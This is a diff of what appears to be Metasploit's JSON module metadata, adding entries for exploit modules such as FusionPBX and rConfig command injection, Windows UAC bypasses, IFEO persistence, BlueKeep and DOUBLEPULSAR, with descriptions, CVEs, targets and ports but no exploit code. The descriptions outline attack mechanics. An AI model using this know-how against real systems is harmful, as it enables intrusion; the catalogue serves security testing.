"exploit_unix/webapp/arkeia_upload_exec": {
"name": "Western Digital Arkeia Remote Code Execution",
"fullname": "exploit/unix/webapp/arkeia_upload_exec",
@@ -84307,6 +86091,109 @@
},
"needs_cleanup": null
},
"exploit_unix/webapp/fusionpbx_exec_cmd_exec": {
"name": "FusionPBX Command exec.php Command Execution",
"fullname": "exploit/unix/webapp/fusionpbx_exec_cmd_exec",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-11-02",
"type": "exploit",
"author": [
"bcoles <bcoles@gmail.com>"
],
"description": "This module uses administrative functionality available in FusionPBX\n to gain a shell.\n\n The Command section of the application permits users with `exec_view`\n permissions, or superadmin permissions, to execute arbitrary system\n commands, or arbitrary PHP code, as the web server user.\n\n This module has been tested successfully on FusionPBX version\n 4.4.1 on Ubuntu 19.04 (x64).",
"references": [
"URL-https://docs.fusionpbx.com/en/latest/advanced/command.html"
],
"platform": "Linux,PHP,Unix",
"arch": "php, cmd, x86, x64",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Automatic (PHP In-Memory)",
"Automatic (Unix In-Memory)",
"Automatic (Linux Dropper)"
],
"mod_time": "2019-11-01 23:38:51 +0000",
"path": "/modules/exploits/unix/webapp/fusionpbx_exec_cmd_exec.rb",
"is_install_path": true,
"ref_name": "unix/webapp/fusionpbx_exec_cmd_exec",
"check": true,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": null
},
"exploit_unix/webapp/fusionpbx_operator_panel_exec_cmd_exec": {
"name": "FusionPBX Operator Panel exec.php Command Execution",
"fullname": "exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-06-06",
"type": "exploit",
"author": [
"Dustin Cobb",
"bcoles <bcoles@gmail.com>"
],
"description": "This module exploits an authenticated command injection vulnerability\n in FusionPBX versions 4.4.3 and prior.\n\n The `exec.php` file within the Operator Panel permits users with\n `operator_panel_view` permissions, or administrator permissions,\n to execute arbitrary commands as the web server user by sending\n a `system` command to the FreeSWITCH event socket interface.\n\n This module has been tested successfully on FusionPBX version\n 4.4.1 on Ubuntu 19.04 (x64).",
"references": [
"CVE-2019-11409",
"EDB-46985",
"URL-https://blog.gdssecurity.com/labs/2019/6/7/rce-using-caller-id-multiple-vulnerabilities-in-fusionpbx.html",
"URL-https://github.com/fusionpbx/fusionpbx/commit/e43ca27ba2d9c0109a6bf198fe2f8d79f63e0611"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Automatic (Unix In-Memory)",
"Automatic (Linux Dropper)"
],
"mod_time": "2019-11-01 22:17:26 +0000",
"path": "/modules/exploits/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec.rb",
"is_install_path": true,
"ref_name": "unix/webapp/fusionpbx_operator_panel_exec_cmd_exec",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"exploit_unix/webapp/generic_exec": {
"name": "Generic Web Application Unix Command Execution",
"fullname": "exploit/unix/webapp/generic_exec",
@@ -86884,6 +88771,59 @@
},
"needs_cleanup": null
},
"exploit_unix/webapp/rconfig_install_cmd_exec": {
"name": "rConfig install Command Execution",
"fullname": "exploit/unix/webapp/rconfig_install_cmd_exec",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-10-28",
"type": "exploit",
"author": [
"mhaskar",
"bcoles <bcoles@gmail.com>"
],
"description": "This module exploits an unauthenticated command injection vulnerability\n in rConfig versions 3.9.2 and prior. The `install` directory is not\n automatically removed after installation, allowing unauthenticated users\n to execute arbitrary commands via the `ajaxServerSettingsChk.php` file\n as the web server user.\n\n This module has been tested successfully on rConfig version 3.9.2 on\n CentOS 7.7.1908 (x64).",
"references": [
"CVE-2019-16662",
"EDB-47555",
"URL-https://gist.github.com/mhaskar/ceb65fa4ca57c3cdccc1edfe2390902e",
"URL-https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Automatic (Unix In-Memory)",
"Automatic (Linux Dropper)"
],
"mod_time": "2019-11-01 20:33:23 +0000",
"path": "/modules/exploits/unix/webapp/rconfig_install_cmd_exec.rb",
"is_install_path": true,
"ref_name": "unix/webapp/rconfig_install_cmd_exec",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"exploit_unix/webapp/redmine_scm_exec": {
"name": "Redmine SCM Repository Arbitrary Command Execution",
"fullname": "exploit/unix/webapp/redmine_scm_exec",
@@ -89348,6 +91288,56 @@
},
"needs_cleanup": true
},
"exploit_unix/webapp/wp_plainview_activity_monitor_rce": {
"name": "Wordpress Plainview Activity Monitor RCE",
"fullname": "exploit/unix/webapp/wp_plainview_activity_monitor_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2018-08-26",
"type": "exploit",
"author": [
"LydA(c)ric LEFEBVRE",
"Leo LE BOUTER"
],
"description": "Plainview Activity Monitor Wordpress plugin is vulnerable to OS\n command injection which allows an attacker to remotely execute\n commands on underlying system. Application passes unsafe user supplied\n data to ip parameter into activities_overview.php.\n Privileges are required in order to exploit this vulnerability.\n\n Vulnerable plugin version: 20161228 and possibly prior\n Fixed plugin version: 20180826",
"references": [
"CVE-2018-15877",
"EDB-45274"
],
"platform": "PHP",
"arch": "php",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"WordPress"
],
"mod_time": "2019-11-28 20:13:21 +0000",
"path": "/modules/exploits/unix/webapp/wp_plainview_activity_monitor_rce.rb",
"is_install_path": true,
"ref_name": "unix/webapp/wp_plainview_activity_monitor_rce",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"exploit_unix/webapp/wp_platform_exec": {
"name": "WordPress Platform Theme File Upload Vulnerability",
"fullname": "exploit/unix/webapp/wp_platform_exec",
@@ -116373,6 +118363,56 @@
},
"needs_cleanup": null
},
"exploit_windows/http/file_sharing_wizard_seh": {
"name": "File Sharing Wizard - POST SEH Overflow",
"fullname": "exploit/windows/http/file_sharing_wizard_seh",
"aliases": [
],
"rank": 300,
"disclosure_date": "2019-09-24",
"type": "exploit",
"author": [
"x00pwn",
"Dean Welch <dean_welch@rapid7.com>"
],
"description": "This module exploits an unauthenticated HTTP POST SEH-based buffer overflow in File Sharing Wizard 1.5.0.",
"references": [
"CVE-2019-16724",
"EDB-47412"
],
"platform": "Windows",
"arch": "x86",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows Vista / Windows 7 (x86)"
],
"mod_time": "2019-10-08 11:44:41 +0000",
"path": "/modules/exploits/windows/http/file_sharing_wizard_seh.rb",
"is_install_path": true,
"ref_name": "windows/http/file_sharing_wizard_seh",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"exploit_windows/http/generic_http_dll_injection": {
"name": "Generic Web Application DLL Injection",
"fullname": "exploit/windows/http/generic_http_dll_injection",
@@ -124526,6 +126566,51 @@
},
"needs_cleanup": true
},
"exploit_windows/local/bypassuac_dotnet_profiler": {
"name": "Windows Escalate UAC Protection Bypass (Via dot net profiler)",
"fullname": "exploit/windows/local/bypassuac_dotnet_profiler",
"aliases": [
],
"rank": 600,
"disclosure_date": "2017-03-17",
"type": "exploit",
"author": [
"Casey Smith",
"\"Stefan Kanthak\" <stefan.kanthak () nexgo de>",
"bwatters-r7"
],
"description": "Microsoft Windows allows for the automatic loading of a profiling COM object during\n the launch of a CLR process based on certain environment variables ostensibly to\n monitor execution. In this case, we abuse the profiler by pointing to a payload DLL\n that will be launched as the profiling thread. This thread will run at the permission\n level of the calling process, so an auto-elevating process will launch the DLL with\n elevated permissions. In this case, we use gpedit.msc as the auto-elevated CLR\n process, but others would work, too.",
"references": [
"URL-https://seclists.org/fulldisclosure/2017/Jul/11",
"URL-https://offsec.provadys.com/UAC-bypass-dotnet.html"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Windows x64"
],
"mod_time": "2019-11-18 12:57:33 +0000",
"path": "/modules/exploits/windows/local/bypassuac_dotnet_profiler.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_dotnet_profiler",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"SideEffects": [
"artifacts-on-disk"
]
},
"needs_cleanup": true
},
"exploit_windows/local/bypassuac_eventvwr": {
"name": "Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)",
"fullname": "exploit/windows/local/bypassuac_eventvwr",
@@ -124542,7 +126627,8 @@
],
"description": "This module will bypass Windows UAC by hijacking a special key in the Registry under\n the current user hive, and inserting a custom command that will get invoked when\n the Windows Event Viewer is launched. It will spawn a second shell that has the UAC\n flag turned off.\n\n This module modifies a registry key, but cleans up the key once the payload has\n been invoked.\n\n The module does not require the architecture of the payload to match the OS. If\n specifying EXE::Custom your DLL should call ExitProcess() after starting your\n payload in a separate process.",
"references": [
"URL-https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
"URL-https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1"
],
"platform": "Windows",
"arch": "",
@@ -124557,7 +126643,7 @@
"Windows x86",
"Windows x64"
],
"mod_time": "2018-10-31 16:31:52 +0000",
"mod_time": "2019-09-08 00:42:21 +0000",
"path": "/modules/exploits/windows/local/bypassuac_eventvwr.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_eventvwr",
@@ -124583,7 +126669,9 @@
],
"description": "This module will bypass Windows 10 UAC by hijacking a special key in the Registry under\n the current user hive, and inserting a custom command that will get invoked when\n the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC\n flag turned off.\n\n This module modifies a registry key, but cleans up the key once the payload has\n been invoked.\n\n The module does not require the architecture of the payload to match the OS. If\n specifying EXE::Custom your DLL should call ExitProcess() after starting your\n payload in a separate process.",
"references": [
"URL-https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/",
"URL-https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1",
"URL-https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/"
],
"platform": "Windows",
"arch": "",
@@ -124598,7 +126686,7 @@
"Windows x86",
"Windows x64"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-09-08 00:42:21 +0000",
"path": "/modules/exploits/windows/local/bypassuac_fodhelper.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_fodhelper",
@@ -124628,7 +126716,8 @@
],
"description": "This module will bypass Windows UAC by utilizing the trusted publisher\n certificate through process injection. It will spawn a second shell that\n has the UAC flag turned off. This module uses the Reflective DLL Injection\n technique to drop only the DLL payload binary instead of three separate\n binaries in the standard technique. However, it requires the correct\n architecture to be selected, (use x64 for SYSWOW64 systems also).\n If specifying EXE::Custom your DLL should call ExitProcess() after starting\n your payload in a separate process.",
"references": [
"URL-http://www.trustedsec.com/december-2010/bypass-windows-uac/",
"URL-http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html"
],
"platform": "Windows",
"arch": "",
@@ -124643,7 +126732,7 @@
"Windows x86",
"Windows x64"
],
"mod_time": "2017-09-13 22:03:34 +0000",
"mod_time": "2019-09-08 00:42:21 +0000",
"path": "/modules/exploits/windows/local/bypassuac_injection.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_injection",
@@ -124683,7 +126772,7 @@
"Windows x86",
"Windows x64"
],
"mod_time": "2019-08-15 18:10:44 +0000",
"mod_time": "2019-09-08 00:42:21 +0000",
"path": "/modules/exploits/windows/local/bypassuac_injection_winsxs.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_injection_winsxs",
@@ -124694,6 +126783,52 @@
},
"needs_cleanup": true
},
"exploit_windows/local/bypassuac_sdclt": {
"name": "Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)",
"fullname": "exploit/windows/local/bypassuac_sdclt",
"aliases": [
],
"rank": 600,
"disclosure_date": "2017-03-17",
"type": "exploit",
"author": [
"enigma0x3",
"bwatters-r7"
],
"description": "This module will bypass Windows UAC by hijacking a special key in the Registry under\n the current user hive, and inserting a custom command that will get invoked when\n Window backup and restore is launched. It will spawn a second shell that has the UAC\n flag turned off.\n\n This module modifies a registry key, but cleans up the key once the payload has\n been invoked.",
"references": [
"URL-https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/",
"URL-https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1",
"URL-https://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Windows x64"
],
"mod_time": "2019-11-18 01:45:57 +0000",
"path": "/modules/exploits/windows/local/bypassuac_sdclt.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_sdclt",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"SideEffects": [
"artifacts-on-disk",
"screen-effects"
]
},
"needs_cleanup": true
},
"exploit_windows/local/bypassuac_silentcleanup": {
"name": "Windows Escalate UAC Protection Bypass (Via SilentCleanup)",
"fullname": "exploit/windows/local/bypassuac_silentcleanup",
@@ -124755,7 +126890,8 @@
],
"description": "This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under\n the Current User hive, and inserting a custom command that will get invoked when any binary\n (.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable\n to file handler hijacking. When we run slui.exe with changed Registry key\n (HKCU:\\Software\\Classes\\exefile\\shell\\open\\command), it will run our custom command as Admin\n instead of slui.exe.\n\n The module modifies the registry in order for this exploit to work. The modification is\n reverted once the exploitation attempt has finished.\n\n The module does not require the architecture of the payload to match the OS. If\n specifying EXE::Custom your DLL should call ExitProcess() after starting the\n payload in a different process.",
"references": [
"URL-https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation",
"URL-https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1"
],
"platform": "Windows",
"arch": "",
@@ -124770,7 +126906,7 @@
"Windows x86",
"Windows x64"
],
"mod_time": "2019-06-26 14:25:32 +0000",
"mod_time": "2019-09-08 00:42:21 +0000",
"path": "/modules/exploits/windows/local/bypassuac_sluihijack.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_sluihijack",
@@ -124796,7 +126932,8 @@
],
"description": "This module will bypass Windows UAC by utilizing the missing .manifest on the script host\n cscript/wscript.exe binaries.",
"references": [
"URL-http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html",
"URL-https://github.com/Vozzie/uacscript"
],
"platform": "Windows",
"arch": "",
@@ -124810,7 +126947,7 @@
"targets": [
"Automatic"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-09-08 00:42:21 +0000",
"path": "/modules/exploits/windows/local/bypassuac_vbs.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_vbs",
@@ -124821,6 +126958,100 @@
},
"needs_cleanup": true
},
"exploit_windows/local/bypassuac_windows_store_filesys": {
"name": "Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)",
"fullname": "exploit/windows/local/bypassuac_windows_store_filesys",
"aliases": [
],
"rank": 0,
"disclosure_date": "2019-08-22",
"type": "exploit",
"author": [
"ACTIVELabs",
"sailay1996",
"timwr"
],
"description": "This module exploits a flaw in the WSReset.exe Windows Store Reset Tool. The tool\n is run with the \"autoElevate\" property set to true, however it can be moved to\n a new Windows directory containing a space (C:\\Windows \\System32\\) where, upon\n execution, it will load our payload dll (propsys.dll).",
"references": [
"URL-https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html",
"URL-https://github.com/sailay1996/UAC_bypass_windows_store",
"URL-https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Automatic"
],
"mod_time": "2019-09-06 00:52:13 +0000",
"path": "/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_windows_store_filesys",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"SideEffects": [
"artifacts-on-disk",
"screen-effects"
]
},
"needs_cleanup": true
},
"exploit_windows/local/bypassuac_windows_store_reg": {
"name": "Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry",
"fullname": "exploit/windows/local/bypassuac_windows_store_reg",
"aliases": [
],
"rank": 0,
"disclosure_date": "2019-02-19",
"type": "exploit",
"author": [
"ACTIVELabs",
"sailay1996",
"bwatters-r7"
],
"description": "This module exploits a flaw in the WSReset.exe file associated with the Windows\n Store. This binary has autoelevate privs, and it will run a binary file\n contained in a low-privilege registry location. By placing a link to\n the binary in the registry location, WSReset.exe will launch the binary as\n a privileged user.",
"references": [
"URL-https://www.activecyber.us/activelabs/windows-uac-bypass",
"URL-https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html",
"URL-https://github.com/sailay1996/UAC_bypass_windows_store"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Automatic"
],
"mod_time": "2019-09-06 02:11:06 +0000",
"path": "/modules/exploits/windows/local/bypassuac_windows_store_reg.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_windows_store_reg",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"SideEffects": [
"artifacts-on-disk",
"screen-effects"
]
},
"needs_cleanup": true
},
"exploit_windows/local/capcom_sys_exec": {
"name": "Windows Capcom.sys Kernel Execution Exploit (x64 only)",
"fullname": "exploit/windows/local/capcom_sys_exec",
@@ -125824,7 +128055,7 @@
"needs_cleanup": null
},
"exploit_windows/local/ms16_014_wmi_recv_notif": {
"name": "Windows WMI Recieve Notification Exploit",
"name": "Windows WMI Receive Notification Exploit",
"fullname": "exploit/windows/local/ms16_014_wmi_recv_notif",
"aliases": [
@@ -125857,7 +128088,7 @@
"targets": [
"Windows 7 SP0/SP1"
],
"mod_time": "2019-08-15 18:10:44 +0000",
"mod_time": "2019-10-05 14:40:27 +0000",
"path": "/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb",
"is_install_path": true,
"ref_name": "windows/local/ms16_014_wmi_recv_notif",
@@ -126371,7 +128602,7 @@
"name": "Windows Manage Memory Payload Injection",
"fullname": "exploit/windows/local/payload_inject",
"aliases": [
"post/windows/manage/payload_inject"
],
"rank": 600,
"disclosure_date": "2011-10-12",
@@ -126396,7 +128627,7 @@
"targets": [
"Windows"
],
"mod_time": "2018-11-02 14:57:41 +0000",
"mod_time": "2019-10-27 11:25:56 +0000",
"path": "/modules/exploits/windows/local/payload_inject.rb",
"is_install_path": true,
"ref_name": "windows/local/payload_inject",
@@ -126447,6 +128678,47 @@
},
"needs_cleanup": null
},
"exploit_windows/local/persistence_image_exec_options": {
"name": "Windows Silent Process Exit Persistence",
"fullname": "exploit/windows/local/persistence_image_exec_options",
"aliases": [
],
"rank": 600,
"disclosure_date": "2008-06-28",
"type": "exploit",
"author": [
"Mithun Shanbhag",
"bwatters-r7"
],
"description": "Windows allows you to set up a debug process when a process exits.\n This module uploads a payload and declares that it is the debug\n process to launch when a specified process exits.",
"references": [
"URL-https://attack.mitre.org/techniques/T1183/",
"URL-https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Automatic"
],
"mod_time": "2019-11-16 04:58:02 +0000",
"path": "/modules/exploits/windows/local/persistence_image_exec_options.rb",
"is_install_path": true,
"ref_name": "windows/local/persistence_image_exec_options",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"exploit_windows/local/persistence_service": {
"name": "Windows Persistent Service Installer",
"fullname": "exploit/windows/local/persistence_service",
@@ -126475,7 +128747,7 @@
"targets": [
"Windows"
],
"mod_time": "2019-05-31 17:44:35 +0000",
"mod_time": "2019-11-16 04:57:18 +0000",
"path": "/modules/exploits/windows/local/persistence_service.rb",
"is_install_path": true,
"ref_name": "windows/local/persistence_service",
@@ -129341,7 +131613,7 @@
"targets": [
"Gh0st Beta 3.6"
],
"mod_time": "2019-08-15 18:10:44 +0000",
"mod_time": "2019-10-05 14:40:27 +0000",
"path": "/modules/exploits/windows/misc/gh0st.rb",
"is_install_path": true,
"ref_name": "windows/misc/gh0st",
@@ -131316,7 +133588,7 @@
"PlugX Type I",
"PlugX Type II"
],
"mod_time": "2019-08-15 18:10:44 +0000",
"mod_time": "2019-10-05 14:40:27 +0000",
"path": "/modules/exploits/windows/misc/plugx.rb",
"is_install_path": true,
"ref_name": "windows/misc/plugx",
@@ -132615,7 +134887,7 @@
"targets": [
"Automatic"
],
"mod_time": "2017-09-13 22:03:34 +0000",
"mod_time": "2019-10-05 14:13:38 +0000",
"path": "/modules/exploits/windows/mssql/mssql_linkcrawler.rb",
"is_install_path": true,
"ref_name": "windows/mssql/mssql_linkcrawler",
@@ -134012,6 +136284,60 @@
},
"needs_cleanup": null
},
"exploit_windows/rdp/cve_2019_0708_bluekeep_rce": {
"name": "CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free",
"fullname": "exploit/windows/rdp/cve_2019_0708_bluekeep_rce",
"aliases": [
],
"rank": 0,
"disclosure_date": "2019-05-14",
"type": "exploit",
"author": [
"Sean Dillon <sean.dillon@risksense.com>",
"Ryan Hanson",
"OJ Reeves <oj@beyondbinary.io>",
"Brent Cook <bcook@rapid7.com>"
],
"description": "The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,\n allowing a malformed Disconnect Provider Indication message to cause use-after-free.\n With a controllable data/size remote nonpaged pool spray, an indirect call gadget of\n the freed channel is used to achieve arbitrary code execution.\n\n Windows 7 SP1 and Windows Server 2008 R2 are the only currently supported targets.\n\n Windows 7 SP1 should be exploitable in its default configuration, assuming your target\n selection is correctly matched to the system's memory layout.\n\n HKLM\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Winstations\\RDP-Tcp\\fDisableCam\n *needs* to be set to 0 for exploitation to succeed against Windows Server 2008 R2.\n This is a non-standard configuration for normal servers, and the target will crash if\n the aforementioned Registry key is not set!\n\n If the target is crashing regardless, you will likely need to determine the non-paged\n pool base in kernel memory and set it as the GROOMBASE option.",
"references": [
"CVE-2019-0708",
"URL-https://github.com/zerosum0x0/CVE-2019-0708",
"URL-https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html"
],
"platform": "Windows",
"arch": "",
"rport": 3389,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Automatic targeting via fingerprinting",
"Windows 7 SP1 / 2008 R2 (6.1.7601 x64)",
"Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)",
"Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)",
"Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)",
"Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)",
"Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)",
"Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)"
],
"mod_time": "2019-11-15 11:14:00 +0000",
"path": "/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb",
"is_install_path": true,
"ref_name": "windows/rdp/cve_2019_0708_bluekeep_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"AKA": [
"Bluekeep"
]
},
"needs_cleanup": null
},
"exploit_windows/scada/abb_wserver_exec": {
"name": "ABB MicroSCADA wserver.exe Remote Code Execution",
"fullname": "exploit/windows/scada/abb_wserver_exec",
@@ -135653,6 +137979,78 @@
},
"needs_cleanup": null
},
"exploit_windows/smb/doublepulsar_rce": {
"name": "DOUBLEPULSAR Payload Execution and Neutralization",
"fullname": "exploit/windows/smb/doublepulsar_rce",
"aliases": [
],
"rank": 500,
"disclosure_date": "2017-04-14",
"type": "exploit",
"author": [
"Equation Group",
"Shadow Brokers",
"zerosum0x0",
"Luke Jennings",
"wvu <wvu@metasploit.com>",
"Jacob Robles"
],
"description": "This module executes a Metasploit payload against the Equation Group's\n DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.\n\n While this module primarily performs code execution against the implant,\n the \"Neutralize implant\" target allows you to disable the implant.",
"references": [
"MSB-MS17-010",
"CVE-2017-0143",
"CVE-2017-0144",
"CVE-2017-0145",
"CVE-2017-0146",
"CVE-2017-0147",
"CVE-2017-0148",
"URL-https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html",
"URL-https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/",
"URL-https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/",
"URL-https://github.com/countercept/doublepulsar-detection-script",
"URL-https://github.com/countercept/doublepulsar-c2-traffic-decryptor",
"URL-https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1"
],
"platform": "Windows",
"arch": "x64",
"rport": 445,
"autofilter_ports": [
139,
445
],
"autofilter_services": [
"netbios-ssn",
"microsoft-ds"
],
"targets": [
"Execute payload",
"Neutralize implant"
],
"mod_time": "2019-11-25 18:26:37 +0000",
"path": "/modules/exploits/windows/smb/doublepulsar_rce.rb",
"is_install_path": true,
"ref_name": "windows/smb/doublepulsar_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"AKA": [
"DOUBLEPULSAR"
],
"RelatedModules": [
"auxiliary/scanner/smb/smb_ms17_010",
"exploit/windows/smb/ms17_010_eternalblue"
],
"Stability": [
"crash-os-down"
],
"Reliability": [
"repeatable-session"
]
},
"needs_cleanup": null
},
"exploit_windows/smb/generic_smb_dll_injection": {
"name": "Generic DLL Injection From Shared Resource",
"fullname": "exploit/windows/smb/generic_smb_dll_injection",
@@ -135837,7 +138235,7 @@
"author": [
"Solar Eclipse <solareclipse@phreedom.org>"
],
"description": "This is an exploit for a previously undisclosed\n vulnerability in the bit string decoding code in the\n Microsoft ASN.1 library. This vulnerability is not related\n to the bit string vulnerability described in eEye advisory\n AD20040210-2. Both vulnerabilities were fixed in the\n MS04-007 patch.\n\n You are only allowed one attempt with this vulnerability. If\n the payload fails to execute, the LSASS system service will\n crash and the target system will automatically reboot itself\n in 60 seconds. If the payload succeeds, the system will no\n longer be able to process authentication requests, denying\n all attempts to login through SMB or at the console. A\n reboot is required to restore proper functioning of an\n exploited system.\n\n This exploit has been successfully tested with the win32/*/reverse_tcp\n payloads, however a few problems were encountered when using the\n equivalent bind payloads. Your mileage may vary.",
"description": "This is an exploit for a previously undisclosed\n vulnerability in the bit string decoding code in the\n Microsoft ASN.1 library. This vulnerability is not related\n to the bit string vulnerability described in eEye advisory\n AD20040210-2. Both vulnerabilities were fixed in the\n MS04-007 patch. Windows 2000 SP4 Rollup 1 also patches this\n vulnerability.\n\n You are only allowed one attempt with this vulnerability. If\n the payload fails to execute, the LSASS system service will\n crash and the target system will automatically reboot itself\n in 60 seconds. If the payload succeeds, the system will no\n longer be able to process authentication requests, denying\n all attempts to login through SMB or at the console. A\n reboot is required to restore proper functioning of an\n exploited system.\n\n This exploit has been successfully tested with the win32/*/reverse_tcp\n payloads, however a few problems were encountered when using the\n equivalent bind payloads. Your mileage may vary.",
"references": [
"CVE-2003-0818",
"OSVDB-3902",
@@ -135858,7 +138256,7 @@
"targets": [
"Windows 2000 SP2-SP4 + Windows XP SP0-SP1"
],
"mod_time": "2017-09-17 16:00:04 +0000",
"mod_time": "2019-12-03 20:22:05 +0000",
"path": "/modules/exploits/windows/smb/ms04_007_killbill.rb",
"is_install_path": true,
"ref_name": "windows/smb/ms04_007_killbill",
@@ -135866,6 +138264,16 @@
"post_auth": false,
"default_credential": false,
"notes": {
"AKA": [
"kill-bill"
],
"Reliability": [
"unreliable-session"
],
"Stability": [
"crash-os-restarts",
"crash-service-down"
]
},
"needs_cleanup": null
},
@@ -136143,7 +138551,7 @@
"(stack) Windows XP SP1 Italian",
"(wcscpy) Windows 2003 SP0"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-12-03 06:32:02 +0000",
"path": "/modules/exploits/windows/smb/ms06_040_netapi.rb",
"is_install_path": true,
"ref_name": "windows/smb/ms06_040_netapi",
@@ -136151,6 +138559,13 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"unreliable-session"
],
"Stability": [
"crash-os-restarts",
"crash-service-down"
]
},
"needs_cleanup": null
},
@@ -136497,7 +138912,7 @@
"targets": [
"Windows Vista SP1/SP2 and Server 2008 (x86)"
],
"mod_time": "2019-05-23 07:01:21 +0000",
"mod_time": "2019-10-05 14:26:34 +0000",
